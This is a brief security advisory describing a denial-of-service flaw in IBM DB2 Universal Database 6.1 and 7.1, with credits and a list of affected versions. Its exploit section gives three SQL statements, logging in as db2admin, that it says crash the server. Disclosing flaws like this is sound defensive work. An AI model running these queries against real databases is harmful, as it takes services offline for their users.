|
|
| |
| The DB2 Universal Database builds upon the stability and performance of DB2 on the mainframe and provides the features required in a distributed database product. DB2 Universal Database (UDB) is IBM's relational database server solution for the UNIX, OS/2 and Windows NT/2000 operating environments. This product is vulnerable to a remotely exploitable Denial of Service attack. Note that a valid username and password are needed to perform this attack. |
| |
Credit:
The information has been provided by benjurry.
|
| |
Vulnerable systems:
IBM DB2 version 6.1
IBM DB2 version 7.1
Exploit:
These SQL queries will make the database crash (NOTE: You will need to replace the db2admin with a valid username and password combination):
connect reset;
connect to sample user db2admin using db2admin;
select * from employee where year(birthdate)=1999 and firstnme<'';
|
|
|
|
|
|
|
|
